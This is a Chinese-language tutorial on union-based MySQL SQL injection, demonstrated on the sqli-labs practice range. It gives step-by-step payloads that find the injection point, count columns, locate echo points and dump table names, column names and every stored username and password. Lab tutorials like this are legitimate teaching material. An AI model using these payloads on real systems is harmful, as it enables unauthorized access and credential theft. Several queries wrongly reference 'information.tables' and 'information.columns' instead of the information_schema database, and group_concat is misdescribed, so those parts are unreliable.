一、必要知识
1.MySQL系统库
在MySQL5.0以上的版本中具有四个基本的系统数据库,它们分别是:information_schema;performance_schema;mysql;sys。下面对它们进行详细介绍。
(1)information_schema
在这个数据库中存储着MySQL服务器所维护的所有其它数据库的信息,比如有哪些表、哪些视图等。
在此数据库中需要记住三个表,这三个表对我们进行SQL注入攻击很重要。
schemata:这个表存储了MySQL中所有数据库的信息,该表中有个schema_name字段表示数据库名。
tables:这个表存储了MySQL中所有表的信息,该表中有个table_name字段表示表名。
columns:这个表存储了MySQL中所有字段的字段信息,该表中有个column_name表示字段名(列名)。
(2)performance_schema
保存了MySQL中服务器运行过程的一些状态信息。
(3)mysql
存储了MySQL的用户账户及权限信息。
(4)sys
通过视图的形式把information_schema和performance_schema结合起来。
2.MySQL语法
这里只介绍注入过程中需要用到的语法及函数。
union的特性:
a.union连接的前后两个SQL语句执行的结果互不干扰。(即前面一个语句的执行结果不影响后一个语句的执行。)
b.union连接的前后两个SQL查询语句查询的字段数量要保持一致。
order by:
order by后接字段名表示以该字段排序,后接数字表示以第几个字段排序。例如order by 1表示以第一个字段排序。
利用此原理可以对某张表的列数进行猜解。
version():返回数据库版本号
database():返回数据库名字
group_concat():进行分组
二、注入步骤
以下过程均是在sqli-labs靶场中演示。
1.判断是否有注入点(and 1=1)
在地址栏输入?id=1后成功登录
接着在地址后输入and 1=1,发现没有什么变化。
改为and 1=2后页面出现变化,说明存在注入点。
2.猜解列名数量(order by)
输入order by 4出现报错
输入order by 3发现正常获取到了页面
以上结果说明当前数据表有3列
3.判断回显点(union)
输入以下代码:
注意让id=-1是为了让union前的SQL语句不能成功查询到结果,从而让union后的查询语句的查询结果回显。如果union之前的语句查询到了结果,那么union后的查询结果是不会显示到页面上的。
?id=-1 union select 1,2,3
可以发现2和3显示在了页面上,所以在猜解出的3列中,最后两列是回显点。
4.信息收集
数据库版本信息及数据库名:
在前面已经知道2,3所在位置是回显点,把2和3替换为database()和version()函数用来显示数据库信息。
?id=-1 union select 1,version(),database()
可以看到数据库版本号为5.7.26,当前使用的数据库名字为security。
版本是5.0以上的版本,所以该数据库拥有4个基本的系统库。前面已经说过information_schema中存储着所有数据库,所有表,所有字段的信息。接下来我们就可以通过构建SQL语句来获取到我们的用户名及密码。
5.构建SQL语句
(1)查找security数据库中的所有的表。
?id=-1 union select 1,2,group_concat(table_name) from information.tables
where table_schema='security'
或
?id=-1 union select 1,2,group_concat(table_name) from information.tables
where table_schema=database()
所以当前使用的数据库security中有4张表,分别为emails,referers,uagents,users。
显然我们需要的用户名及密码的信息最有可能存放在user表中。
(2)查询表中的列名(字段名)
?id=-1 union select 1,2,group_concat(column_name) from information.columns
where table_name='users'
users表中的所有字段名已经在页面上显示,很明显已经找到了我们需要的用户名username及密码password。
(3)查询用户名及密码
?id=-1 union select 1,2,(select group_concat(username,password) from users)
可以看到我们获取到了所有的用户名及密码,只需利用页面显示的用户名和密码就可以完成系统的登录。